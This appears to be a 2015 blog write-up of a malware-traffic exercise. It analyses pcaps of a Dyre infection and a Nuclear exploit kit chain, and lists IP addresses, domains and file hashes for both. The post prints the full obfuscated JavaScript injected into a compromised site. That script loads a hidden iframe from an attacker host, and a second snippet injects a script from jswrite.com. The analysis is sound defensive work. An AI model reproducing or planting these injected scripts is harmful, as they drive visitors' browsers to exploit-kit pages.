{"id":218,"date":"2015-10-22T22:48:47","date_gmt":"2015-10-22T21:48:47","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=218"},"modified":"2016-02-23T21:55:14","modified_gmt":"2016-02-23T21:55:14","slug":"malware-exercise-2015-10-13-halloween-themed-host-names","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=218","title":{"rendered":"Malware Exercise 2015-10-13 &#8211; Halloween-Themed Host Names"},"content":{"rendered":"<p>Just posting my write-up of another one of Brad&#8217;s exercises. You can find the answers to this exercise from Brad <a href=\"http:\/\/malware-traffic-analysis.net\/2015\/10\/13\/page2.html\" target=\"_blank\">here.<\/a> The other interesting bit that I came across while researching different aspects from this exercise was another researcher that had worked on the same one as well. Check out <a href=\"http:\/\/malware.kiwi\/\" target=\"_blank\">his blog here,<\/a> or his Twitter feed <a href=\"http:\/\/twitter.com\/malwarekiwi\" target=\"_blank\">here.<\/a><\/p>\n<p>Here are my results from this exercise.<\/p>\n<p>&#8211; Date and time of the activity.<br \/>\n&gt; User1 = 10.12.2015 18:55 &#8211; 19:10<br \/>\n&gt; User2 = 10.12.2015 23:30 &#8211; 23:39<\/p>\n<p>&#8211; The infected computer&#8217;s IP address.<br \/>\n&gt; User1 = 10.0.15.202<br \/>\n&gt; User2 = 172.16.95.97<\/p>\n<p>&#8211; The infected computer&#8217;s MAC address.<br \/>\n&gt; User1 = 00:23:54:86:d3:aa<br \/>\n&gt; User1 = 6c:3b:e5:20:1e:c9<\/p>\n<p>&#8211; The infected computer&#8217;s host name.<br \/>\n&gt; User1 = Windows 7 with Chrome v45.0.2455.99<br \/>\n&gt; User2 = Windows 7 with IE 10.0<\/p>\n<p>&#8211; Domains and IP addresses of any infection traffic.<br \/>\n&gt; User1<br \/>\n\t&gt; 67.215.92.215 \/ myip.dnsomatic.com<br \/>\n\t&gt; 197.149.90.166:12189<br \/>\n\t&gt; 197.254.116.190:443<br \/>\n\t&gt; 81.12.120.36:4443<br \/>\n\t&gt; 82.103.71.149:443<br \/>\n\t&gt; 192.95.17.62:3478 (UDP)<br \/>\n\t&gt; 158.69.27.166:3479 (UDP)<\/p>\n<p>&gt; User2<br \/>\n\t&gt; 37.9.53.85 \/ l2-bob.ga<br \/>\n\t&gt; 46.101.165.112 \/ gshjadast.tk<br \/>\n\t&gt; 201.219.169.169<br \/>\n\t&gt; 93.177.178.40<br \/>\n\t&gt; 85.216.123.10<\/p>\n<p>&#8211; The root cause (what is the likely cause of the infection noted in the pcap).<br \/>\n&gt; User1: Since what we are seeing is synonymous with Upatre\/Dyre infection traffic, I am assuming that the user got a phishing email that was malicious which ended up getting the user infected.<br \/>\n&gt; User2: Based on what I am able to see in this PCAP, it looks like the user was initially infected via an infected site (hxxp:\/\/www[.]acfmag[.]com). There is an injected script found in the index of website which kicks off the infection chain which I believe is related to the Nuclear EK. <\/p>\n<p>Notes about investigation User1<br \/>\n================================<\/p>\n<p>So from what I could see, the source of the infection came from outside the network as this looked like post-infection traffic. Also, there were no HTTP requests in the PCAP outside of when a malicious binary did a check of the user&#8217;s external IP address (seen below):<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/ HTTP\/1.1\r\nAccept: text\/*, application\/*\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\/537.37 (KHTML, like Gecko) Chrome\/45.0.2455.99 Safari\/537.37\r\nHost: myip.dnsomatic.com\r\nCache-Control: no-cache\r\n\r\nHTTP\/1.1 200 OK\r\nServer: Varnish\r\nRetry-After: 5\r\nContent-Type: text\/html\r\nContent-Length: 13\r\nAccept-Ranges: bytes\r\nDate: Mon, 12 Oct 2015 17:56:33 GMT\r\nX-Varnish: 725823291\r\nAge: 0\r\nVia: 1.1 varnish\r\nConnection: close\r\n\r\n204.46.173.25\r\n<\/pre>\n<p>We see a GET request being made, but never see a response from the remote server since the connection is reset on the server side:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/12U12\/ICHABODCRANE-PC\/0\/61-SP1\/0\/JJBELKBKGBEJK HTTP\/1.1\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\/537.37 (KHTML, like Gecko) Chrome\/45.0.2455.99 Safari\/537.37\r\nHost: 197.149.90.166:12189\r\nCache-Control: no-cache\r\n<\/pre>\n<p>We also see that there are calls made over SSL to an IP address of 197.254.116.190. Based on some quick research, this IP\/port combination showed up as likely traffic to a Dyre C2. When looking at the SSL stream, we can see the SSL certificate that was used:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n.....0..1.0...U....US1.0...U....Tennessee1.0\r\n..U....Camden1#0!..U.\r\n..qixkdafibofys yarcuidpkllm1&quot;0 ..U....ehqjnanetulds pmqxfykahkz1.0...U....yarcuidpkllm1200..*.H..\r\n....#ehqjnanetulds.pmqxfykahkz@gmail.com0..\r\n150921112702Z.\r\n160727112702Z0..1.0...U....US1.0...U....Tennessee1.0\r\n..U....Camden1#0!..U.\r\n..qixkdafibofys yarcuidpkllm1&quot;0 ..U....ehqjnanetulds pmqxfykahkz1.0...U....yarcuidpkllm1200..*.H..\r\n....#ehqjnanetulds.pmqxfykahkz@gmail.com0..&quot;0\r\n<\/pre>\n<p>Looking up the email address associated with the SSL certificate comes back with more evidence that this is a Dyre infection since the SSL certificate, along with the IP address and port, have been added to a SSL Blacklist:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nhttp:\/\/sslbl.abuse.ch\/intel\/dcbd35057458f280a8c760f6e4d97cfed92c061d\/\r\n\r\nTimestamp (UTC)\tMalware binary (MD5 hash)\tDstIP\tDstPort\r\n2015-10-14 17:02:06\t3216d8c051a40e9cdef165bab180305e\t197.254.116.190\t443\r\n<\/pre>\n<p>There is more encrypted traffic using a fake SSL certificate going to the IP address of 81.12.120.36 on port 4443. I was not able to find much about this callback outside of the IP\/port combination being listed as malicious on VT (http:\/\/www.virustotal.com\/en\/ip-address\/81.12.120.36\/information\/):<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n.....0..1.0...U....US1.0...U....Tennessee1.0...U....Kingsport1 0...U.\r\n..bwkrllwlsca qigllabjmtr1.0...U...\r\nEve Obitts1.0...U....qigllabjmtr1#0!..*.H..\r\n.....Eve.Obitts@gmail.com0..\r\n151012175701Z.\r\n180512175701Z0..1.0...U....US1.0...U....Tennessee1.0...U....Kingsport1 0...U.\r\n..bwkrllwlsca qigllabjmtr1.0...U...\r\nEve Obitts1.0...U....qigllabjmtr1#0!..*.H..\r\n.....Eve.Obitts@gmail.com0..&quot;0\r\n<\/pre>\n<p>We know that there is some data being moved around since we are are seeing PUSH,ACK flags in Wireshark, but unfortunately since this communication is using SSL, we are not able to see what the traffic is.<\/p>\n<p>We also see some communication to the IP address of 82.103.71.149 on port 443. Like the other callbacks, this is encrypted and nothing is viewable. Looking up the IP address on Google, I came up with not a lot outside of some more Dyre callbacks. <\/p>\n<p>Now switching from looking at just the TCP requests to UDP requests, we can see that there were two UDP requests of significance found in this PCAP. The client made UDP connections to 192.95.17.62 and 158.69.27.166 on ports 3478 and 3479 (respectively) which seems to contain the FQDN of vovida.org. Looking this domain up on Google yielded that the IP addresses belong to a STUN server. Not sure why the malware made a call out to the &#8216;myip.dnsomatic.com&#8217; site considering that the STUN information was able to &#8220;tell&#8221; the attacker what the external IP address was. <\/p>\n<p>Notes about investigation User2<br \/>\n================================<br \/>\nBased on what I am able to see in this PCAP, it looks like the user was initially infected via an infected site (hxxp:\/\/www[.]acfmag[.]com). There is an injected script found in the index of website. The script can be found at the bottom before closing out the HTML file as seen below:<\/p>\n<pre class=\"brush: jscript; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n&lt;script type=&quot;text\/javascript&quot;&gt;\r\neval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(\/^\/,String)){while(c--){d&#x5B;c]=k&#x5B;c]||c}k=&#x5B;function(e){return d&#x5B;e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k&#x5B;c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k&#x5B;c])}}return p}('26 25(7,13){15 9=7.80(13);10(9&gt;78)49&quot;76: 83 100 5&quot;;19 9}26 35(7){10(1!==85.22)49&quot;93: 92 88 86 87&quot;;7=99(7);15 13,9,17=&#x5B;],31=7.22-7.22%3;10(0===7.22)19 7;97(13=0;31&gt;13;13+=3)9=25(7,13)&lt;&lt;16|25(7,13+1)&lt;&lt;8|25(7,13+2),17.28(20.21(9&gt;&gt;18)),17.28(20.21(9&gt;&gt;12&amp;63)),17.28(20.21(9&gt;&gt;6&amp;63)),17.28(20.21(63&amp;9));96(7.22-31){74 1:9=25(7,13)&lt;&lt;16,17.28(20.21(9&gt;&gt;18)+20.21(9&gt;&gt;12&amp;63)+33+33);77;74 2:9=25(7,13)&lt;&lt;16|25(7,13+1)&lt;&lt;8,17.28(20.21(9&gt;&gt;18)+20.21(9&gt;&gt;12&amp;63)+20.21(9&gt;&gt;6&amp;63)+33)}19 17.55(&quot;&quot;)}15 33=&quot;=&quot;,20=&quot;79+\/&quot;,81=&quot;1.0&quot;;26 51(){15 11;37{11=39 68(&quot;82.70&quot;)}44(17){37{11=39 68(&quot;94.70&quot;)}44(95){11=90}}10(!11&amp;&amp;91 66!=\\'89\\'){11=39 66()}19 11}26 72(14){23=14.30(\\'\\\\&lt;54\\');10(23==-1)19\\'\\';23=14.30(\\'&gt;\\',23);10(23==-1)19\\'\\';23++;24=14.30(\\'\\\\&lt;\\\\\/54\\\\&gt;\\',23);10(24==-1)19\\'\\';19 14.58(23,24)}26 64(14){10(14.30(\\'%48%\\')==-1)19 14;19 14.98(\\'%48%\\').55(36(35(62.65.75)))}26 60(56){15 27=&quot; &quot;+34.27;15 40=&quot; &quot;+56+&quot;=&quot;;15 38=42;15 29=0;15 24=0;10(27.22&gt;0){29=27.30(40);10(29!=-1){29+=40.22;24=27.30(&quot;;&quot;,29);10(24==-1){24=27.22}38=84(27.58(29,24))}}19(38)}34.107(\\'&lt;57 132=&quot;43&quot;&gt;&lt;\/57&gt;\\');10(60(\\'133\\')==42){15 32=\\'50\\'+\\'7\\'+\\'45:\\'+\\'\/\\'+\\'\/\\'+\\'2\\'+\\'61\\'+\\'61\\'+\\'3\\'+\\'.\\'+\\'47\\'+\\'134\\'+\\'\/\\'+\\'131\\'+\\'73\\'+\\'7.45\\'+\\'67\\';32+=(\\'?7=3&amp;126=\\'+36(35(62.65.125)));32+=(\\'&amp;101=\\'+36(35(127.128)));37{15 11=51();11.129(\\'136\\',32,137);11.145=26(){10(11.146==4&amp;&amp;11.142==138){14=64(11.139);34.71(&quot;43&quot;).69=14;41=72(14);10(41.22&gt;0)140(41)}};11.141(42)}44(17){34.71(&quot;43&quot;).69=\\'&lt;\\'+\\'59\\'+\\'46\\'+\\'144 124\\'+\\'108\\'+\\'=&quot;52\\'+\\'109\\'+\\':\/\\'+\\'\/\\'+\\'110\\'+\\'2\\'+\\'-\\'+\\'53\\'+\\'102\\'+\\'53\\'+\\'.\\'+\\'47\\'+\\'73\\'+\\'\/\\'+\\'103\\'+\\'104\\'+\\'112\\'+\\'.45\\'+\\'67&quot;\\'+\\' 113\\'+\\'121=\\'+\\'&quot;0\\'+\\'&quot; 122\\'+\\'119\\'+\\'7=&quot;0\\'+\\'&quot; 46\\'+\\'118\\'+\\'114\\'+\\'31=&quot;\\'+\\'0&quot; 115\\'+\\'116\\'+\\'117\\'+\\'52=&quot;\\'+\\'0&quot; 123\\'+\\'120\\'+\\'105\\'+\\'50=&quot;\\'+\\'0&quot; 106\\'+\\'111\\'+\\'143\\'+\\'47=&quot;\\'+\\'130\\'+\\'&quot;&gt;\\'+\\'&lt;\\'+\\'\/\\'+\\'59\\'+\\'46\\'+\\'135\\'+\\'17\\'+\\'&gt;\\'}}',10,147,'|||||||t||_|if|xmlhttp||A|src|var||e||return|_ALPHA|charAt|length|start|end|_pref_xxs_getbyte|function|cookie|push|offset|indexOf|r|url|_PADCHAR|document|_pref_xxs_encode64|encodeURIComponent|try|setStr|new|search|code|null|statspan_0_1|catch|p|fr|g|ENCURL|throw|ht|_pref_xxs_getXmlHttp|h|b|script|join|name|span|substring|i|_pref_xxs_getCookie|z|window||_pref_xxs_processMacro|location|XMLHttpRequest|hp|ActiveXObject|innerHTML|XMLHTTP|getElementById|_pref_xxs_extractScript|a|case|href|INVALID_CHARACTER_ERR|break|255|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|charCodeAt|_VERSION|Msxml2|DOM|unescape|arguments|argument|required|one|undefined|false|typeof|exactly|SyntaxError|Microsoft|E|switch|for|split|String|Exception|ua|o|co|un|nheig|sc|write|rc|ttp|l|rol|ter|wid|rde|mar|ginw|idt|amebo|gh|rgi|th|hei|ma|s|hostname|d|navigator|userAgent|open|no|st|id|stat01|q|am|GET|true|200|responseText|eval|send|status|lin|ame|onreadystatechange|readyState'.split('|'),0,{}))\r\n<\/pre>\n<p>To figure out what this script was doing, all I did was change the first &#8220;eval&#8221; into &#8220;alert&#8221; and save that as a HTML file. I then opened that file and proceeded to get the following pop-up window:<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2015\/10\/Deobfuscated-script.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2015\/10\/Deobfuscated-script.png\" alt=\"Deobfuscated script\" width=\"1534\" height=\"798\" class=\"aligncenter size-full wp-image-219\" \/><\/a><\/p>\n<p>which opens a connection to another host located at hxxp:\/\/l2-bob[.]ga and performs a GET request for the file &#8216;\/counter.php.&#8217; This file has a hidden iframe in it as seen below:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/counter.php HTTP\/1.1\r\nAccept: text\/html, application\/xhtml+xml, *\/*\r\nReferer: http:\/\/www.acfmaq.com\/\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\/6.0)\r\nAccept-Encoding: gzip, deflate\r\nHost: l2-bob.ga\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nDate: Mon, 12 Oct 2015 22:31:14 GMT\r\nServer: Apache\/2.2.15 (CentOS)\r\nX-Powered-By: PHP\/5.3.3\r\nCache-Control: no-store, no-cache, must-revalidate, max-age=0\r\nCache-Control: post-check=0, pre-check=0\r\nPragma: no-cache\r\nContent-Length: 225\r\nConnection: close\r\nContent-Type: text\/html\r\n\r\n&lt;iframe src=&quot;http:\/\/gshjadast.tk\/search?qws_rd=ba&amp;oe=utf-8&amp;ie=utf-8&amp;q=od+pwfwhkews+pvd+jy&amp;ei=XFxRVBsaXF1STVteSVVGWQkHUVNGRU0SXg..&quot; width=&quot;0&quot; height=&quot;0&quot; frameborder=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;\/iframe&gt;\r\n<\/pre>\n<p>The hidden iframe then opens up another connection to the site &#8220;gshjadast.tk&#8221; that has heavy obfuscation to it:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/search?qws_rd=ba&amp;oe=utf-8&amp;ie=utf-8&amp;q=od+pwfwhkews+pvd+jy&amp;ei=XFxRVBsaXF1STVteSVVGWQkHUVNGRU0SXg.. HTTP\/1.1\r\nAccept: text\/html, application\/xhtml+xml, *\/*\r\nReferer: http:\/\/l2-bob.ga\/counter.php\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\/6.0)\r\nAccept-Encoding: gzip, deflate\r\nHost: gshjadast.tk\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nServer: nginx\r\nDate: Mon, 12 Oct 2015 22:31:14 GMT\r\nContent-Type: text\/html; charset=UTF-8\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\nX-Powered-By: PHP\/5.6.12-1~dotdeb+7.1\r\nAccess-Control-Allow-Origin: *\r\nAccess-Control-Allow-Credentials: true\r\nAccess-Control-Allow-Methods: GET, POST, OPTIONS\r\nAccess-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type\r\n<\/pre>\n<p>We then see another call for another file off this same site which looks to be a Flash file (based on the appearance of CWS in the stream) to exploit the system. The funny thing is the file is labeled as a ASPX web file:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/amount.aspx?vqytbl=62bb501c0&amp;nfp=dATQUKBg..&amp;tfoafr=bGwABAh&amp;tse=aUEpFTQoJUk4NCR9SBE5SQgsMVFZUQhdIQVlJAFtTGwMCH1FQ&amp;zwqw=2e7b05&amp;hhwbss=c9XAQYBB1tfBQU HTTP\/1.1\r\nAccept: *\/*\r\nAccept-Language: en-US\r\nReferer: http:\/\/gshjadast.tk\/search?qws_rd=ba&amp;oe=utf-8&amp;ie=utf-8&amp;q=od+pwfwhkews+pvd+jy&amp;ei=XFxRVBsaXF1STVteSVVGWQkHUVNGRU0SXg..\r\nx-flash-version: 14,0,0,125\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\/6.0)\r\nHost: gshjadast.tk\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nServer: nginx\r\nDate: Mon, 12 Oct 2015 22:31:15 GMT\r\nContent-Type: application\/x-shockwave-flash\r\nContent-Length: 58272\r\nConnection: keep-alive\r\nX-Powered-By: PHP\/5.6.12-1~dotdeb+7.1\r\nAccess-Control-Allow-Origin: *\r\nAccess-Control-Allow-Credentials: true\r\nAccess-Control-Allow-Methods: GET, POST, OPTIONS\r\nAccess-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type\r\nAccept-Ranges: bytes\r\nContent-Disposition: inline; filename=\r\n\r\nCWS.~...x.\\wc.(:.d..m..m..m...}..m..m...{3of.V~..U....I&lt;.@.......0..D.1.........x.L...D..&lt;lm.....x.-\\\\................999......h.a.\r\n<\/pre>\n<p>The Flash file has the following characteristics:<\/p>\n<p>Name: amount.aspx<br \/>\nMD5: 7281dff93112ef4894e4742d122671ca<br \/>\nFile Size: 58 KB<br \/>\nFirst submission: 2015-10-13 21:09:56 UTC<br \/>\nDetection Ratio: 5 \/ 56<br \/>\nVirusTotal Link: http:\/\/www.virustotal.com\/en\/file\/939b3b5f2fe5d5e9e204705248afbcb8b37965252a690b44aeea772419bd005d\/analysis\/<br \/>\nHybrid-Analysis: http:\/\/www.hybrid-analysis.com\/sample\/939b3b5f2fe5d5e9e204705248afbcb8b37965252a690b44aeea772419bd005d?environmentId=1<\/p>\n<p>We then see two more connections to the following websites which I do believe are calls directly from the malicious Flash file:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/order.aspx?zhmjyrp=82a51f9870&amp;sbove=gVE.&amp;zfbs=1cc5920&amp;nmpgtpp=cQsFBlYa&amp;gaxzl=f92T&amp;gevk=bwQbA1dVSQMBBVdQD&amp;jgvygv=e1&amp;uga=dAk5DRTsBW&amp;zislr=aU1tZVB8PWlVJCVsaBwANTQQVXVhUVQIVQRxBWh9XDQcbAFRIB HTTP\/1.1\r\nConnection: Keep-Alive\r\nHost: gshjadast.tk\r\n\r\nHTTP\/1.1 200 OK\r\nServer: nginx\r\nDate: Mon, 12 Oct 2015 22:31:23 GMT\r\nContent-Type: application\/octet-stream\r\nContent-Length: 102650\r\nConnection: keep-alive\r\nX-Powered-By: PHP\/5.6.12-1~dotdeb+7.1\r\nAccess-Control-Allow-Origin: *\r\nAccess-Control-Allow-Credentials: true\r\nAccess-Control-Allow-Methods: GET, POST, OPTIONS\r\nAccess-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type\r\nAccept-Ranges: bytes\r\nContent-Disposition: inline; filename=\r\n\r\nGET \/order.shtml?ugmipz=eZUjor&amp;iyfmukf=693fa2f&amp;kyghy=bNJVhAOX1NRUBASG0ZeTVJeABwEBk1UAxwH&amp;byt=4e704ae&amp;plb=dDAICBB9RSVZ&amp;uljbhmz=aU1tZVB8PWlVJCVsaAQ&amp;iobdl=cBVAaBAYBBVVe&amp;eunytp=fRmdGTVI. HTTP\/1.1\r\nConnection: Keep-Alive\r\nHost: gshjadast.tk\r\n\r\nHTTP\/1.1 200 OK\r\nServer: nginx\r\nDate: Mon, 12 Oct 2015 22:31:50 GMT\r\nContent-Type: application\/octet-stream\r\nContent-Length: 245248\r\nConnection: keep-alive\r\nX-Powered-By: PHP\/5.6.12-1~dotdeb+7.1\r\nAccess-Control-Allow-Origin: *\r\nAccess-Control-Allow-Credentials: true\r\nAccess-Control-Allow-Methods: GET, POST, OPTIONS\r\nAccess-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type\r\nAccept-Ranges: bytes\r\nContent-Disposition: inline; filename=\r\n<\/pre>\n<p>Both of these connections are labeled as &#8216;application\/octet-stream&#8217; which is usually a strong indicator that there is a binary being downloaded. These files have the following characteristics:<\/p>\n<p>Name: order.aspx<br \/>\nMD5: 3c9cfb03354e1f30b241aa13ffa95aca<br \/>\nFile Size: 103 KB<br \/>\nFirst submission: 2015-10-19 18:25:53 UTC<br \/>\nDetection Ratio: 1 \/ 56<br \/>\nVirusTotal Link: http:\/\/www.virustotal.com\/en\/file\/8266a9ff28cb58ca897dcb0996789cd6ad48fe3bd231985548c05e7a77607386\/analysis\/1445279153\/<\/p>\n<p>Name: order.shtml<br \/>\nMD5: b9c413c4e339197eb276193aab4436e4<br \/>\nFile Size: 245 KB<br \/>\nFirst submission: 2015-10-19 18:26:14 UTC<br \/>\nDetection Ratio: 1 \/ 56<br \/>\nVirusTotal Link: http:\/\/www.virustotal.com\/en\/file\/07d5ab1af200bb06d29d1b12a07f1a0a51c2ed76d0686b9ec4e1f17373a2215d\/analysis\/1445279174\/<\/p>\n<p>We see another connection to the following system that pulls down a binary called &#8220;harsh02.exe:&#8221;<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/harsh02.exe HTTP\/1.0\r\nHost: 201.219.169.169\r\n\r\nHTTP\/1.1 200 Ok\r\nServer: Apache\r\nContent-Length: 1082442\r\nContent-Type: application\/octet-stream\r\nLast-Modified: .., 12 ... 2015 22:36:49 GMT\r\nAccept-Ranges: bytes\r\n\r\nMZ......................@...............................................!..L.!This program cannot be run in DOS mode.\r\n<\/pre>\n<p>This file has the following characteristics:<\/p>\n<p>Name: order.shtml<br \/>\nMD5: 6801df24f9d352db1eaa0b12df316fc4<br \/>\nFile Size: 1.1 MB<br \/>\nFirst submission: 2015-10-13 07:08:12 UTC<br \/>\nDetection Ratio: 39 \/ 57<br \/>\nVirusTotal Link: http:\/\/www.virustotal.com\/en\/file\/61f56f71b0b04b36d3ef0c14bbbc0df431290d93592d5dd6e3fffcc583ec1e12\/analysis\/<br \/>\nHybrid-Analysis: http:\/\/www.hybrid-analysis.com\/sample\/61f56f71b0b04b36d3ef0c14bbbc0df431290d93592d5dd6e3fffcc583ec1e12?environmentId=1<br \/>\nMalwr: http:\/\/malwr.com\/analysis\/ODg5NTU4NWVkMGM2NDUxY2EzYzhkOTk5Y2VmNTVhZTY\/<\/p>\n<p>We can now see the final calls from this PCAP. There is a direct connection to a site located at 93.177.178.40 with  a forged user-agent and something else located in the HTTP header before the server&#8217;s response:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/welcome.htm HTTP\/1.1\r\nHost: 93.177.178.40\r\nContent-Length: 164\r\nUser-Agent: Mozilla\/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit\/534.46 (KHTML, like Gecko ) Version\/5.1 Mobile\/9B176 Safari\/7534.48.3\r\n\r\n..sVlUUE..H@O}R....HSr...M..0F.A..\/........q....O\r\n~....7]{.Ea),.Z...U.....].....Ed.OZI.~w...\\...i...\\..s.....j.a....&amp;.1...........D....D.9)x`..u.'w.....Ba..m..f.x..\r\n\r\nHTTP\/1.1 502 \r\nServer: Apache\r\nContent-Length: 1040\r\nContent-Type: \r\nLast-Modified: .., 12 ... 2015 11:46:24 GMT\r\nAccept-Ranges: bytes\r\nServer:nginx\/1.2.6\r\nDate:Mon, 12 Oct 2015 22:34:49 GMT\r\n<\/pre>\n<p>The interesting thing about the site below is that it is not a real error page, but one that is made to look like an &#8216;nginx&#8217; error page. Based on what I was able to find on Google about the script, it looks like it is added when a site gets compromised. Outside of that, I am not able to find much more about what the script actually does.  <\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n&lt;html&gt;\r\n&lt;head&gt;&lt;script&gt;if(typeof window.__wsujs==='undefined'){window.__wsujs=14698;window.__wsujsn='OffersWizard';window.__wsujss='CDC38C6EBF202624640574692ED0D79B';} &lt;\/script&gt; \r\n......              &lt;script&gt;if(top == self &amp;&amp; typeof window._ws_all_js==='undefined'){ \r\n....                      window._ws_all_js = 7; \r\n.......          var zhead = document.getElementsByTagName('head')&#x5B;0]; \r\n.......          if(!zhead){zhead = document.createElement('head');} \r\n.......          var qscript = document.createElement('script'); \r\n.......          qscript.setAttribute('id','wsh2_js'); \r\n.......          qscript.setAttribute('src','http:\/\/jswrite.com\/script1.js'); \r\n.......          qscript.setAttribute('type','text\/javascript');qscript.async = true; \r\n.......          if(zhead &amp;&amp; !document.getElementById('wsh2_js')) zhead.appendChild(qscript); \r\n......             } &lt;\/script&gt; &lt;title&gt;502 Bad Gateway&lt;\/title&gt;&lt;\/head&gt;\r\n&lt;body bgcolor=&quot;white&quot;&gt;\r\n&lt;center&gt;&lt;h1&gt;502 Bad Gateway&lt;\/h1&gt;&lt;\/center&gt;\r\n&lt;hr&gt;&lt;center&gt;nginx\/1.2.6&lt;\/center&gt;\r\n&lt;\/body&gt;\r\n&lt;\/html&gt;\r\n<\/pre>\n<p>We then see another call to the site 85.216.123.10 with something else in the HTTP header as witnessed above:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/main.htm HTTP\/1.1\r\nHost: 85.216.123.10\r\nContent-Length: 164\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko\/20130328 Firefox\/22.0\r\n\r\n..`glUUE..H@...y.\/kV...5....0F.A....#P@...Co.{..4....&lt;.~5._.&gt;....*.....Z..DH....U.......Z(G# jD.....^.....b........!\r\n$^.?.V.......9x.R.]u,.......,&#x5B;q.D&lt;u...&amp;.}...7..\r\n\r\nHTTP\/1.1 200 \r\nServer: Apache\r\nContent-Length: 229\r\nContent-Type: \r\nLast-Modified: .., 12 ... 2015 22:37:00 GMT\r\nAccept-Ranges: bytes\r\nServer:nginx\/1.2.6\r\nDate:Mon, 12 Oct 2015 22:36:57 GMT\r\nLast-Modified:Mon, 12 Oct 2015 22:36:57 GMT\r\nAccept-Ranges:bytes\r\n<\/pre>\n<p>which then calls the last page from the same site with the same characteristics as the last site sites (something being injected into the HTTP header):<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/search.htm HTTP\/1.1\r\nHost: 85.216.123.10\r\nContent-Length: 1851\r\nUser-Agent: Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\/6.0)\r\n\r\n9.?..&quot;...&quot;..t..sl...I. 9.6.,D...V-...*M.Hg.......W....{.....!c7...1..\\.b.)..z^G.....N.?.\\2\/.n0..&gt;1...........h..\/...;G.ay..v....O..N.X...D.y.....P^...F.V......~U.H..\r\n{......&amp;...'O.\r\n.G.f|.'......};tQw\r\n.Tx....&amp;Z`&gt;..L.....8.P9....f8.y...^0..QL].(..(4.....F.....!4..^......aX&lt;!..S..F-.#...O...?..I\r\n.uy.^...4......4.0....Q.}Z.l...\/.*..0..'.9..FV....6..]o.m....H.^...PrK.=.+...$..)...).....A....3J.p..Pg...;..!.?....w.#_..C..?.g....L.lM&#x5B;..Y....{..\r\nYp........`....c.....~...HK.R.T.5........:.(j1.....7.$....$..$L..x..:...P2.].2..r.....Xx....p....|...r.m.DG...E5.ST.V&lt;..}..$..Y.F.s\\P.....%.L..'K`..PX... 